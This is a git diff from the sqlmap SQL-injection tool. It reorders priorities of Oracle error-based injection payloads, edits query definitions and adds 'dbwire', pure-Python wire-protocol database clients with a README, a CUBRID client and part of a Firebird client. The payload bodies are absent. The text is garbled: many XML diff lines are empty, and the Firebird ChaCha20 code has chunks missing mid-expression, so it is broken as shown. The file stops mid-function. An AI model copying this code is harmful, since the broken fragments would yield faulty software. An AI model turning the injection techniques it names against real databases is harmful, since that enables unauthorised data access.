diff --git a/data/xml/errors.xml b/data/xml/errors.xml
index ddf34d51e9a..706994f12de 100644
--- a/data/xml/errors.xml
+++ b/data/xml/errors.xml
@@ -228,6 +228,11 @@
+
+
+
+
+
diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml
index 95fd4b40b7a..f92974eac49 100644
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@@ -608,7 +608,7 @@
Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)
2
- 2
+ 4
1
1,9
1
@@ -628,7 +628,7 @@
Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)
2
- 2
+ 4
3
1,9
2
@@ -686,7 +686,7 @@
Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)
2
- 4
+ 2
1
1,9
1
@@ -705,7 +705,7 @@
Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)
2
- 4
+ 2
3
1,9
2
diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index b619a7a8827..0585845bcfd 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -305,8 +305,8 @@
-
-
+
+
@@ -314,8 +314,8 @@
-
-
+
+
@@ -598,7 +598,7 @@
-
+
@@ -670,8 +670,8 @@
-
-
+
+
@@ -686,12 +686,12 @@
-
-
+
+
-
-
+
+
@@ -1509,7 +1509,7 @@
-
+
@@ -1532,8 +1532,8 @@
-
-
+
+
@@ -1548,8 +1548,8 @@
-
-
+
+
@@ -1983,12 +1983,12 @@
-
-
+
+
-
-
+
+
@@ -2003,8 +2003,8 @@
-
-
+
+
diff --git a/extra/dbwire/README.md b/extra/dbwire/README.md
new file mode 100644
index 00000000000..cfd37dceba3
--- /dev/null
+++ b/extra/dbwire/README.md
@@ -0,0 +1,71 @@
+# dbwire
+
+Minimal, dependency-free database wire-protocol clients used as a fallback for sqlmap's direct
+(`-d`) connection mode.
+
+## What this is
+
+sqlmap's `-d` mode talks to a database server directly instead of through an injection point. It
+normally does so via a native driver (`psycopg2`, `pymysql`, `pymssql`, ...) or, if one is missing,
+via SQLAlchemy. When neither is installed, `dbwire` provides a small pure-python client so that `-d`
+still works out of the box.
+
+Every module here is written against the database's **wire protocol** using only the Python standard
+library (`socket`, `struct`, `hashlib`, `hmac`, `base64`, `urllib`). There are no third-party
+dependencies, and the sources run unmodified on Python 2.7 and Python 3.
+
+## Coverage
+
+A wire protocol is shared across a whole family of products, so one client serves several engines:
+
+| Module | Protocol | Engines |
+|-----------------|---------------------|---------|
+| `postgres.py` | PostgreSQL v3 | PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica |
+| `mysql.py` | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona |
+| `tds.py` | TDS | Microsoft SQL Server, Sybase |
+| `firebird.py` | Firebird wire | Firebird 3 / 4 / 5 |
+| `cubrid.py` | CUBRID CAS | CUBRID |
+| `clickhouse.py` | HTTP (TabSeparated) | ClickHouse and HTTP-compatible forks |
+| `monetdb.py` | MAPI | MonetDB |
+| `presto.py` | HTTP/REST (JSON) | Presto, Trino |
+
+The mapping from a DBMS to its module lives in `lib/core/dicts.py` (`DBWIRE_MODULES`). The connector
+tier order is: native driver, then SQLAlchemy, then dbwire.
+
+## Interface
+
+Each module exposes a small [PEP 249](https://peps.python.org/pep-0249/) (DB-API 2.0) subset:
+
+- `connect(host, port, user, password, database, connect_timeout, ...)` -> `Connection`
+- `Connection.cursor()`, `.commit()`, `.rollback()`, `.close()`
+- `Cursor.execute(query)`, `.fetchall()`, `.fetchone()`, `.close()`, `.description`, `.rowcount`
+- the shared exception hierarchy in `__init__.py` (`Error` -> `InterfaceError` / `DatabaseError` ->
+ `OperationalError` / `DataError` / `IntegrityError` / `ProgrammingError` / `InternalError` /
+ `NotSupportedError`)
+
+It is deliberately read-oriented for sqlmap's use: `execute()` takes a fully-formed query string
+(no parameter binding), statements auto-commit, and binary column values are returned as `bytes` so
+that sqlmap renders them as hex.
+
+## Scope and limitations
+
+This is a fallback for `-d`, not a general-purpose driver. It intentionally does not implement
+parameter binding, prepared statements, bulk load/`COPY`, or TLS. Notable per-protocol notes:
+
+- **PostgreSQL** - `trust`, cleartext, MD5 and SCRAM-SHA-256 authentication.
+- **MySQL** - `mysql_native_password` and the `caching_sha2_password` fast path. Full
+ `caching_sha2_password` authentication over a plaintext connection requires RSA/TLS and is not
+ supported; use a `mysql_native_password` account for the dependency-free path.
+- **TDS** - cleartext login only. Servers that force encryption (for example Azure SQL Database)
+ require TLS and are not supported here; the native driver or SQLAlchemy tier covers those.
+- **Firebird** - SRP-256 (and SRP) authentication with ChaCha20 or RC4 wire encryption, as required by
+ default on Firebird 3 and later. Legacy (pre-SRP) authentication is not implemented.
+- **CUBRID** - cleartext login over the CAS broker protocol. Large objects (BLOB/CLOB) are returned as
+ their raw locator handles rather than fetched inline.
+
+When a case is not supported, the client raises a clear `NotSupportedError` rather than returning
+wrong data, so `-d` cleanly falls through to another connector tier where possible.
+
+---
+
+Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission.
diff --git a/extra/dbwire/cubrid.py b/extra/dbwire/cubrid.py
new file mode 100644
index 00000000000..ae6f95f5e7c
--- /dev/null
+++ b/extra/dbwire/cubrid.py
@@ -0,0 +1,442 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+"""
+Minimal pure-python CUBRID client speaking the CAS (Common Application Server) broker protocol (stdlib
+only, no CUBRID-Python/CCI). Does the 10-byte broker handshake (+ optional CAS-worker redirect), a
+cleartext OPEN_DATABASE login, then prepare / execute / fetch with column-metadata decoding. Read-oriented
+for sqlmap: execute() takes a fully-formed query string, binary (BIT/VARBIT/BLOB) values come back as bytes
+(sqlmap hex-encodes them). Auto-commit is enabled so each statement is independent.
+"""
+
+import datetime
+import socket
+import struct
+
+from extra.dbwire import DatabaseError
+from extra.dbwire import DataError
+from extra.dbwire import InterfaceError
+from extra.dbwire import IntegrityError
+from extra.dbwire import NotSupportedError
+from extra.dbwire import OperationalError
+from extra.dbwire import ProgrammingError
+
+_MAGIC = b"CUBRK"
+_CLIENT_JDBC = 3
+_CAS_VERSION = 0x48 # PROTO_INDICATOR(0x40) | VERSION(8)
+
+# function codes (first raw byte of each request)
+_FC_END_TRAN = 1
+_FC_PREPARE = 2
+_FC_EXECUTE = 3
+_FC_SET_DB_PARAMETER = 5
+_FC_CLOSE_REQ_HANDLE = 6
+_FC_FETCH = 8
+_FC_CON_CLOSE = 31
+
+_TRAN_COMMIT = 1
+_TRAN_ROLLBACK = 2
+_PARAM_AUTO_COMMIT = 4
+
+_OID_SIZE = 8
+_STMT_SELECT = 21
+
+# CUBRID CCI_U_TYPE column type codes
+_T_CHAR = 1
+_T_STRING = 2
+_T_NCHAR = 3
+_T_VARNCHAR = 4
+_T_BIT = 5
+_T_VARBIT = 6
+_T_NUMERIC = 7
+_T_INT = 8
+_T_SHORT = 9
+_T_MONETARY = 10
+_T_FLOAT = 11
+_T_DOUBLE = 12
+_T_DATE = 13
+_T_TIME = 14
+_T_TIMESTAMP = 15
+_T_OBJECT = 19
+_T_BIGINT = 21
+_T_DATETIME = 22
+_T_BLOB = 23
+_T_CLOB = 24
+_T_ENUM = 25
+_T_JSON = 34
+_STRING_TYPES = frozenset((_T_CHAR, _T_STRING, _T_NCHAR, _T_VARNCHAR, _T_ENUM, _T_JSON))
+_BINARY_TYPES = frozenset((_T_BIT, _T_VARBIT, _T_BLOB, _T_CLOB))
+
+_MAX_MESSAGE_LENGTH = 0x40000000 # guard against a hostile/corrupt length
+
+class _Writer(object):
+ # builds a request payload (after the 8-byte header): raw function code + length-prefixed args
+ def __init__(self, fc):
+ self._buf = bytearray(struct.pack(">B", fc))
+
+ def raw_int(self, v):
+ self._buf += struct.pack(">i", v); return self
+
+ def raw_byte(self, v):
+ self._buf += struct.pack(">B", v); return self
+
+ def arg_int(self, v):
+ self._buf += struct.pack(">ii", 4, v); return self
+
+ def arg_byte(self, v):
+ self._buf += struct.pack(">iB", 1, v); return self
+
+ def arg_null(self):
+ self._buf += struct.pack(">i", 0); return self
+
+ def arg_cache_time(self):
+ self._buf += struct.pack(">iii", 8, 0, 0); return self
+
+ def arg_nts(self, s): # null-terminated string arg: [len(utf8)+1][utf8][00]
+ b = s.encode("utf-8")
+ self._buf += struct.pack(">i", len(b) + 1) + b + b"\x00"; return self
+
+ def payload(self):
+ return bytes(self._buf)
+
+class _Reader(object):
+ def __init__(self, buf):
+ self._buf = buf
+ self._off = 0
+
+ def remaining(self):
+ return len(self._buf) - self._off
+
+ def byte(self):
+ v = struct.unpack_from(">B", self._buf, self._off)[0]; self._off += 1; return v
+
+ def short(self):
+ v = struct.unpack_from(">h", self._buf, self._off)[0]; self._off += 2; return v
+
+ def int(self):
+ v = struct.unpack_from(">i", self._buf, self._off)[0]; self._off += 4; return v
+
+ def long(self):
+ v = struct.unpack_from(">q", self._buf, self._off)[0]; self._off += 8; return v
+
+ def float(self):
+ v = struct.unpack_from(">f", self._buf, self._off)[0]; self._off += 4; return v
+
+ def double(self):
+ v = struct.unpack_from(">d", self._buf, self._off)[0]; self._off += 8; return v
+
+ def raw(self, n):
+ v = self._buf[self._off:self._off + n]; self._off += n; return bytes(v)
+
+ def skip(self, n):
+ self._off += n
+
+ def nts(self, n): # n bytes, drop one trailing NUL if present
+ b = self.raw(n)
+ if b and bytearray(b)[-1:] == bytearray(b"\x00"):
+ b = b[:-1]
+ return b
+
+def _decode_text(raw):
+ try:
+ return raw.decode("utf-8")
+ except UnicodeDecodeError:
+ return raw # non-UTF-8 -> keep bytes (sqlmap hex-encodes), not lossy
+
+def _decode_value(reader, col_type, size):
+ if col_type in _STRING_TYPES:
+ return _decode_text(reader.nts(size))
+ if col_type in (_T_BIT, _T_VARBIT):
+ return reader.raw(size)
+ if col_type == _T_NUMERIC:
+ return _decode_text(reader.nts(size)) # DECIMAL arrives as ASCII text
+ if col_type == _T_INT:
+ return str(reader.int())
+ if col_type == _T_SHORT:
+ return str(reader.short())
+ if col_type == _T_BIGINT:
+ return str(reader.long())
+ if col_type == _T_FLOAT:
+ return repr(reader.float())
+ if col_type in (_T_DOUBLE, _T_MONETARY):
+ return repr(reader.double())
+ if col_type == _T_DATE:
+ y, mo, d = reader.short(), reader.short(), reader.short()
+ return "%s" % datetime.date(y, mo, d)
+ if col_type == _T_TIME:
+ h, mi, s = reader.short(), reader.short(), reader.short()
+ return "%s" % datetime.time(h, mi, s)
+ if col_type == _T_TIMESTAMP:
+ vals = [reader.short() for _ in range(6)]
+ return "%s" % datetime.datetime(*vals)
+ if col_type == _T_DATETIME:
+ y, mo, d, h, mi, s, ms = (reader.short() for _ in range(7))
+ return "%s" % datetime.datetime(y, mo, d, h, mi, s, ms * 1000)
+ if col_type == _T_OBJECT:
+ page, slot, vol = reader.int(), reader.short(), reader.short()
+ return "OID:@%d|%d|%d" % (page, slot, vol)
+ return reader.raw(size) # BLOB/CLOB locator or unknown type -> raw bytes
+
+class _Column(object):
+ __slots__ = ("name", "type", "scale", "precision")
+
+class Cursor(object):
+ def __init__(self, connection):
+ self.connection = connection
+ self.description = None
+ self.rowcount = -1
+ self._rows = []
+ self._pos = 0
+
+ def execute(self, query, params=None):
+ if params is not None:
+ raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
+ self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
+ self.description, self._rows, self.rowcount = self.connection._query(query)
+ return self
+
+ def fetchall(self):
+ retVal = self._rows[self._pos:]
+ self._pos = len(self._rows)
+ return retVal
+
+ def fetchone(self):
+ if self._pos >= len(self._rows):
+ return None
+ retVal = self._rows[self._pos]
+ self._pos += 1
+ return retVal
+
+ def close(self):
+ self._rows = []
+
+class Connection(object):
+ def __init__(self, host, port, user, password, database, timeout):
+ self._host = host
+ self._port = port
+ self._user = user
+ self._password = password
+ self._database = database
+ self._timeout = timeout
+ self._sock = None
+ self._cas_info = b"\x00\x00\x00\x00"
+ self._protocol_version = 8
+ self._open()
+
+ def cursor(self):
+ return Cursor(self)
+
+ def commit(self):
+ self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_COMMIT))
+
+ def rollback(self):
+ self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_ROLLBACK))
+
+ def close(self):
+ try:
+ if self._sock is not None:
+ self._send(_Writer(_FC_CON_CLOSE).payload())
+ except Exception:
+ pass
+ self._safe_close()
+
+ # ---- connection / framing ----
+
+ def _safe_close(self):
+ try:
+ if self._sock is not None:
+ self._sock.close()
+ except Exception:
+ pass
+ self._sock = None
+
+ def _recvn(self, n):
+ buf = b""
+ while len(buf) < n:
+ chunk = self._sock.recv(n - len(buf))
+ if not chunk:
+ raise InterfaceError("connection closed by server")
+ buf += chunk
+ return buf
+
+ def _open(self):
+ # broker handshake (may redirect to a dedicated CAS worker port), then cleartext OPEN_DATABASE login
+ try:
+ sock = socket.create_connection((self._host, self._port), timeout=self._timeout)
+ sock.settimeout(None)
+ sock.sendall(_MAGIC + struct.pack(">BB", _CLIENT_JDBC, _CAS_VERSION) + b"\x00\x00\x00")
+ self._sock = sock
+ (port,) = struct.unpack(">i", self._recvn(4))
+ if port < 0:
+ raise OperationalError("CUBRID broker rejected the connection (status %d)" % port)
+ if port > 0: # redirected to a CAS worker: reconnect there, no second handshake
+ self._safe_close()
+ sock = socket.create_connection((self._host, port), timeout=self._timeout)
+ sock.settimeout(None)
+ self._sock = sock
+ except (socket.error, socket.timeout) as ex:
+ self._safe_close()
+ raise OperationalError("could not connect to '%s:%s' (%s)" % (self._host, self._port, ex))
+
+ login = self._fixed(self._database, 32) + self._fixed(self._user, 32) + self._fixed(self._password, 32)
+ login += b"\x00" * 532 # 512 extended-info + 20 reserved
+ self._sock.sendall(login)
+ reader = self._read_response()
+ reader.int() # response_code (>=0; errors already raised in _read_response)
+ broker = reader.raw(8)
+ self._protocol_version = bytearray(broker)[4] & 0x3f
+ # enable auto-commit so each statement is independent (avoids the CAS keep-connection handshake dance)
+ self._call(_Writer(_FC_SET_DB_PARAMETER).arg_int(_PARAM_AUTO_COMMIT).arg_int(1))
+
+ @staticmethod
+ def _fixed(value, length):
+ b = (value or "").encode("utf-8")[:length]
+ return b + b"\x00" * (length - len(b))
+
+ def _send(self, payload):
+ # frame: [payload_len(4)][cas_info(4)][payload]
+ self._sock.sendall(struct.pack(">i", len(payload)) + self._cas_info + payload)
+
+ def _read_response(self):
+ (data_length,) = struct.unpack(">i", self._recvn(4))
+ if data_length < 0 or data_length > _MAX_MESSAGE_LENGTH:
+ raise InterfaceError("invalid CAS response length (%d)" % data_length)
+ body = self._recvn(data_length + 4) # cas_info(4) + payload(data_length)
+ self._cas_info = body[:4]
+ reader = _Reader(body[4:])
+ peek = struct.unpack_from(">i", body, 4)[0]
+ if peek < 0: # error response: response_code(<0), errno, message
+ reader.int()
+ errno = reader.int()
+ message = _decode_text(reader.nts(reader.remaining()))
+ if not isinstance(message, str):
+ message = "errno %d" % errno
+ self._raise(errno, "(remote) %s" % message.strip())
+ return reader
+
+ def _call(self, writer):
+ # reconnect transparently if the CAS worker was released after a previous auto-committed statement
+ if self._sock is None or bytearray(self._cas_info)[0] == 0:
+ self._open()
+ try:
+ self._send(writer.payload() if isinstance(writer, _Writer) else writer)
+ return self._read_response()
+ except (struct.error, IndexError, ValueError) as ex:
+ raise InterfaceError("malformed server response: %s" % ex)
+
+ @staticmethod
+ def _raise(errno, message):
+ text = message.lower()
+ if any(k in text for k in ("unique", "duplicate", "foreign key", "constraint violat")):
+ raise IntegrityError(message)
+ if any(k in text for k in ("syntax", "unknown class", "does not exist", "not found", "before ' '")):
+ raise ProgrammingError(message)
+ if any(k in text for k in ("cast", "conversion", "overflow", "truncat")):
+ raise DataError(message)
+ raise ProgrammingError(message)
+
+ # ---- query ----
+
+ def _query(self, query):
+ reader = self._call(_Writer(_FC_PREPARE).arg_nts(query).arg_byte(0).arg_byte(0))
+ handle = reader.int()
+ reader.int() # result cache lifetime
+ stmt_type = reader.byte()
+ reader.int() # bind count
+ reader.byte() # is_updatable
+ columns = self._parse_columns(reader, reader.int())
+
+ exec_writer = (_Writer(_FC_EXECUTE).arg_int(handle).arg_byte(0).arg_int(0).arg_int(0)
+ .arg_null().arg_byte(1 if stmt_type == _STMT_SELECT else 0)
+ .arg_byte(0).arg_byte(1).arg_cache_time().arg_int(0))
+ reader = self._call(exec_writer)
+
+ total = reader.int()
+ reader.byte() # cache reusable
+ result_count = reader.int()
+ result_infos = [self._parse_result_info(reader) for _ in range(result_count)]
+ if self._protocol_version > 1:
+ reader.byte() # includes_column_info
+ if self._protocol_version > 4:
+ reader.int() # shard_id
+
+ description, rows, rowcount = None, [], -1
+ if stmt_type == _STMT_SELECT and columns:
+ description = [(c.name, c.type, None, None, c.precision, c.scale, None) for c in columns]
+ if reader.remaining() >= 8:
+ reader.int() # fetch code
+ tuple_count = reader.int()
+ rows = self._parse_rows(reader, tuple_count, columns)
+ rows += self._fetch_remaining(handle, columns, len(rows), total)
+ elif result_infos:
+ rowcount = result_infos[0]
+ self._call(_Writer(_FC_CLOSE_REQ_HANDLE).arg_int(handle))
+ return description, rows, rowcount
+
+ def _fetch_remaining(self, handle, columns, fetched, total):
+ rows = []
+ while fetched + len(rows) < total:
+ reader = self._call(_Writer(_FC_FETCH).arg_int(handle)
+ .arg_int(fetched + len(rows) + 1).arg_int(100).arg_byte(0).arg_int(0))
+ reader.int() # response code (>=0)
+ tuple_count = reader.int()
+ if tuple_count <= 0:
+ break
+ rows += self._parse_rows(reader, tuple_count, columns)
+ return rows
+
+ def _parse_result_info(self, reader):
+ reader.byte() # stmt type
+ count = reader.int() # affected rows
+ reader.raw(_OID_SIZE)
+ reader.int(); reader.int() # cache time sec/usec
+ return count
+
+ def _parse_columns(self, reader, count):
+ columns = []
+ for _ in range(count):
+ col = _Column()
+ legacy = reader.byte()
+ col.type = reader.byte() if legacy & 0x80 else legacy
+ col.scale = reader.short()
+ col.precision = reader.int()
+ col.name = _to_str(reader.nts(reader.int()))
+ reader.nts(reader.int()) # real name
+ reader.nts(reader.int()) # table name
+ reader.byte() # is_nullable
+ reader.nts(reader.int()) # default value
+ reader.skip(7) # auto_inc/unique/primary/rev_index/rev_unique/foreign/shared
+ columns.append(col)
+ return columns
+
+ def _parse_rows(self, reader, tuple_count, columns):
+ rows = []
+ for _ in range(tuple_count):
+ reader.int() # row index
+ reader.skip(_OID_SIZE)
+ row = []
+ for col in columns:
+ size = reader.int()
+ if size <= 0:
+ row.append(None)
+ else:
+ row.append(_decode_value(reader, col.type, size))
+ rows.append(tuple(row))
+ return rows
+
+def _to_str(b):
+ v = _decode_text(b)
+ return v if isinstance(v, str) else v.decode("latin-1")
+
+def connect(host=None, port=33000, user=None, password=None, database=None, connect_timeout=None, **kwargs):
+ try:
+ return Connection(host or "localhost", int(port or 33000), user or "public",
+ password or "", database or "", connect_timeout)
+ except (DatabaseError, InterfaceError):
+ raise
+ except Exception as ex:
+ raise OperationalError("CUBRID connection failed (%s)" % ex)
diff --git a/extra/dbwire/firebird.py b/extra/dbwire/firebird.py
new file mode 100644
index 00000000000..0e1c8ec5afb
--- /dev/null
+++ b/extra/dbwire/firebird.py
@@ -0,0 +1,838 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+"""
+Minimal pure-python Firebird wire-protocol client (stdlib only, no firebirdsql).
+
+Speaks the Firebird v13-17 protocol (Firebird 3/4/5): op_connect, SRP-256 authentication, ChaCha20 (or
+Arc4) wire encryption - which Firebird 4+ requires by default - then attach / transaction / prepare /
+execute / fetch with XSQLDA column description and row decoding. Read-oriented for sqlmap: execute() takes
+a fully-formed query string, binary/blob values come back as bytes (sqlmap hex-encodes them).
+"""
+
+import datetime
+import hashlib
+import os
+import socket
+import struct
+
+from extra.dbwire import DatabaseError
+from extra.dbwire import DataError
+from extra.dbwire import IntegrityError
+from extra.dbwire import InterfaceError
+from extra.dbwire import NotSupportedError
+from extra.dbwire import OperationalError
+
+# operation codes
+_op_connect = 1
+_op_accept = 3
+_op_reject = 4
+_op_response = 9
+_op_attach = 19
+_op_detach = 21
+_op_transaction = 29
+_op_commit_retaining = 50
+_op_rollback_retaining = 86
+_op_get_segment = 36
+_op_close_blob = 39
+_op_open_blob2 = 56
+_op_allocate_statement = 62
+_op_execute = 63
+_op_fetch = 65
+_op_fetch_response = 66
+_op_free_statement = 67
+_op_prepare_statement = 68
+_op_info_sql = 70
+_op_dummy = 71
+_op_cont_auth = 92
+_op_crypt = 96
+_op_accept_data = 94
+_op_cond_accept = 98
+
+# CNCT parameter codes
+_CNCT_user = 1
+_CNCT_host = 4
+_CNCT_user_verification = 6
+_CNCT_specific_data = 7
+_CNCT_plugin_name = 8
+_CNCT_login = 9
+_CNCT_plugin_list = 10
+_CNCT_client_crypt = 11
+
+# database / transaction parameter block items
+_isc_dpb_version1 = 1
+_isc_dpb_user_name = 28
+_isc_dpb_lc_ctype = 48
+_isc_dpb_process_id = 71
+_isc_dpb_process_name = 74
+_isc_tpb_version3 = 3
+_isc_tpb_wait = 6
+_isc_tpb_write = 9
+_isc_tpb_read_committed = 15
+_isc_tpb_rec_version = 17
+
+# isc_info_sql_* describe items
+_isc_info_end = 1
+_isc_info_truncated = 2
+_isc_info_sql_select = 4
+_isc_info_sql_describe_vars = 7
+_isc_info_sql_describe_end = 8
+_isc_info_sql_sqlda_seq = 9
+_isc_info_sql_type = 11
+_isc_info_sql_sub_type = 12
+_isc_info_sql_scale = 13
+_isc_info_sql_length = 14
+_isc_info_sql_null_ind = 15
+_isc_info_sql_field = 16
+_isc_info_sql_relation = 17
+_isc_info_sql_owner = 18
+_isc_info_sql_alias = 19
+_isc_info_sql_sqlda_start = 20
+_isc_info_sql_stmt_type = 21
+_INFO_SQL_SELECT_DESCRIBE_VARS = bytes(bytearray([
+ _isc_info_sql_select, _isc_info_sql_describe_vars, _isc_info_sql_sqlda_seq,
+ _isc_info_sql_type, _isc_info_sql_sub_type, _isc_info_sql_scale, _isc_info_sql_length,
+ _isc_info_sql_null_ind, _isc_info_sql_field, _isc_info_sql_relation, _isc_info_sql_owner,
+ _isc_info_sql_alias, _isc_info_sql_describe_end]))
+
+_isc_info_sql_stmt_select = 1
+_DSQL_drop = 2
+
+# SQL type codes
+_SQL_VARYING = 448
+_SQL_TEXT = 452
+_SQL_DOUBLE = 480
+_SQL_FLOAT = 482
+_SQL_LONG = 496
+_SQL_SHORT = 500
+_SQL_TIMESTAMP = 510
+_SQL_BLOB = 520
+_SQL_TIME = 560
+_SQL_DATE = 570
+_SQL_INT64 = 580
+_SQL_INT128 = 32752
+_SQL_TIMESTAMP_TZ = 32754
+_SQL_TIME_TZ = 32756
+_SQL_BOOLEAN = 32764
+_SQL_TYPE_LENGTH = { # fixed on-the-wire length by SQL type (VARYING is length-prefixed -> -1)
+ _SQL_VARYING: -1, _SQL_SHORT: 4, _SQL_LONG: 4, _SQL_FLOAT: 4, _SQL_TIME: 4, _SQL_DATE: 4,
+ _SQL_DOUBLE: 8, _SQL_TIMESTAMP: 8, _SQL_BLOB: 8, _SQL_INT64: 8, _SQL_INT128: 16,
+ _SQL_TIMESTAMP_TZ: 12, _SQL_TIME_TZ: 8, _SQL_BOOLEAN: 1,
+}
+# per-type output BLR fragment used to describe the fetched row (see calc_blr)
+_SQL_TYPE_BLR = {
+ _SQL_DOUBLE: [27], _SQL_FLOAT: [10], _SQL_DATE: [12], _SQL_TIME: [13], _SQL_TIMESTAMP: [35],
+ _SQL_BLOB: [9, 0], _SQL_BOOLEAN: [23], _SQL_TIME_TZ: [28], _SQL_TIMESTAMP_TZ: [29],
+}
+
+# status-vector argument tags
+_isc_arg_end = 0
+_isc_arg_gds = 1
+_isc_arg_string = 2
+_isc_arg_number = 4
+_isc_arg_interpreted = 5
+_isc_arg_sql_state = 19
+_GDS_INTEGRITY = frozenset((335544838, 335544879, 335544880, 335544466, 335544665, 335544347, 335544558))
+_GDS_DATA = frozenset((335544321,))
+_GDS_WARNING = 335544434
+
+# SRP-6a group used by Firebird (fixed 1024-bit prime, generator 2)
+_SRP_N = int("E67D2E994B2F900C3F41F08F5BB2627ED0D49EE1FE767A52EFCD565CD6E768812C3E1E9CE8F0A8BEA6CB13CD29DDE"
+ "BF7A96D4A93B55D488DF099A15C89DCB0640738EB2CBDD9A8F7BAB561AB1B0DC1C6CDABF303264A08D1BCA932D1F"
+ "1EE428B619D970F342ABA9A65793B8B2F041AE5364350C16F735F56ECBCA87BD57B29E7", 16)
+_SRP_g = 2
+_SRP_k = 1277432915985975349439481660349303019122249719989
+
+def _minbe(n):
+ # minimal big-endian bytes of a non-negative integer (matches firebirdsql long2bytes/pad for these sizes)
+ out = bytearray()
+ while n > 0:
+ out.insert(0, n & 0xff)
+ n >>= 8
+ return bytes(out)
+
+def _b2l(b):
+ n = 0
+ for c in bytearray(b):
+ n = (n << 8) | c
+ return n
+
+def _sha1(*parts):
+ h = hashlib.sha1()
+ for p in parts:
+ h.update(p if isinstance(p, bytes) else _minbe(p))
+ return h.digest()
+
+def _srp_client_seed():
+ a = _b2l(os.urandom(16)) # client private key (128-bit)
+ return pow(_SRP_g, a, _SRP_N), a
+
+def _srp_client_proof(user, password, salt, A, B, a, hash_algo):
+ # session key K (always SHA-1) then the Firebird-specific proof M (SHA-1 for Srp, SHA-256 for Srp256)
+ u = _b2l(_sha1(_minbe(A), _minbe(B)))
+ x = _b2l(_sha1(salt, _sha1(user, b":", password)))
+ S = pow((B - _SRP_k * pow(_SRP_g, x, _SRP_N)) % _SRP_N, (a + u * x) % _SRP_N, _SRP_N)
+ K = _sha1(_minbe(S))
+ n1 = _b2l(_sha1(_minbe(_SRP_N)))
+ n2 = _b2l(_sha1(_minbe(_SRP_g)))
+ n1 = pow(n1, n2, _SRP_N) # NOTE: modular exponentiation, not XOR (Firebird quirk)
+ n2 = _b2l(_sha1(user))
+ h = hash_algo()
+ for p in (_minbe(n1), _minbe(n2), salt, _minbe(A), _minbe(B), K):
+ h.update(p)
+ return h.digest(), K
+
+class _ARC4(object):
+ def __init__(self, key):
+ s = list(range(256))
+ key = bytearray(key)
+ j = 0
+ for i in range(256):
+ j = (j + s[i] + key[i % len(key)]) & 0xff
+ s[i], s[j] = s[j], s[i]
+ self._s, self._i, self._j = s, 0, 0
+
+ def translate(self, data):
+ s, i, j, out = self._s, self._i, self._j, bytearray()
+ for c in bytearray(data):
+ i = (i + 1) & 0xff
+ j = (j + s[i]) & 0xff
+ s[i], s[j] = s[j], s[i]
+ out.append(c ^ s[(s[i] + s[j]) & 0xff])
+ self._i, self._j = i, j
+ return bytes(out)
+
+class _ChaCha20(object):
+ _SIGMA = b"expand 32-byte k"
+
+ def __init__(self, key, nonce):
+ self._nonce = nonce
+ self._counter = 0
+ block = self._SIGMA + key + self._ctr_bytes() + nonce
+ self._state = list(struct.unpack("<16L", block))
+ self._make_block()
+
+ def _ctr_bytes(self):
+ return struct.pack("> (32 - n))) & 0xffffffff
+ x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 16)
+ x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 12)
+ x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 8)
+ x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 7)
+
+ def translate(self, data):
+ out = bytearray()
+ block = bytearray(self._block)
+ for c in bytearray(data):
+ out.append(c ^ block[self._pos])
+ self._pos += 1
+ if self._pos == 64:
+ self._counter += 1
+ cb = self._ctr_bytes()
+ self._state[12] = struct.unpack(" (plugin, nonce)
+ plugins, nonces, buf, i = [], [], bytearray(buf), 0
+ while i < len(buf):
+ t, ln = buf[i], buf[i + 1]
+ v = bytes(buf[i + 2:i + 2 + ln])
+ i += 2 + ln
+ if t == 1:
+ plugins = v.split()
+ elif t == 3:
+ nonces.append(v)
+ if b"ChaCha64" in plugins:
+ for s in nonces:
+ if s[:9] == b"ChaCha64\x00":
+ return b"ChaCha64", s[9:]
+ if b"ChaCha" in plugins:
+ for s in nonces:
+ if s[:7] == b"ChaCha\x00":
+ return b"ChaCha", s[7:7 + 12]
+ if b"Arc4" in plugins:
+ return b"Arc4", None
+ return None, None
+
+class _Wire(object):
+ def __init__(self, sock):
+ self._sock = sock
+ self._rc = self._wc = None
+
+ def set_ciphers(self, rc, wc):
+ self._rc, self._wc = rc, wc
+
+ def send(self, data):
+ self._sock.sendall(self._wc.translate(data) if self._wc else data)
+
+ def _recv_raw(self, n):
+ buf = b""
+ while len(buf) < n:
+ chunk = self._sock.recv(n - len(buf))
+ if not chunk:
+ raise InterfaceError("connection closed by server")
+ buf += chunk
+ return buf
+
+ def recv(self, n, align=False):
+ total = n + ((4 - n % 4) % 4) if align else n
+ data = self._recv_raw(total)
+ if self._rc:
+ data = self._rc.translate(data)
+ return data[:n]
+
+ def recv_int(self):
+ return struct.unpack("!i", self.recv(4))[0]
+
+ def recv_bytes(self):
+ return self.recv(self.recv_int(), align=True)
+
+ def close(self):
+ try:
+ self._sock.close()
+ except Exception:
+ pass
+
+def _pack_int(v):
+ return struct.pack("!i", v)
+
+def _pack_bytes(v):
+ return _pack_int(len(v)) + v + b"\x00" * ((4 - len(v) % 4) % 4)
+
+def _le(b):
+ n = 0
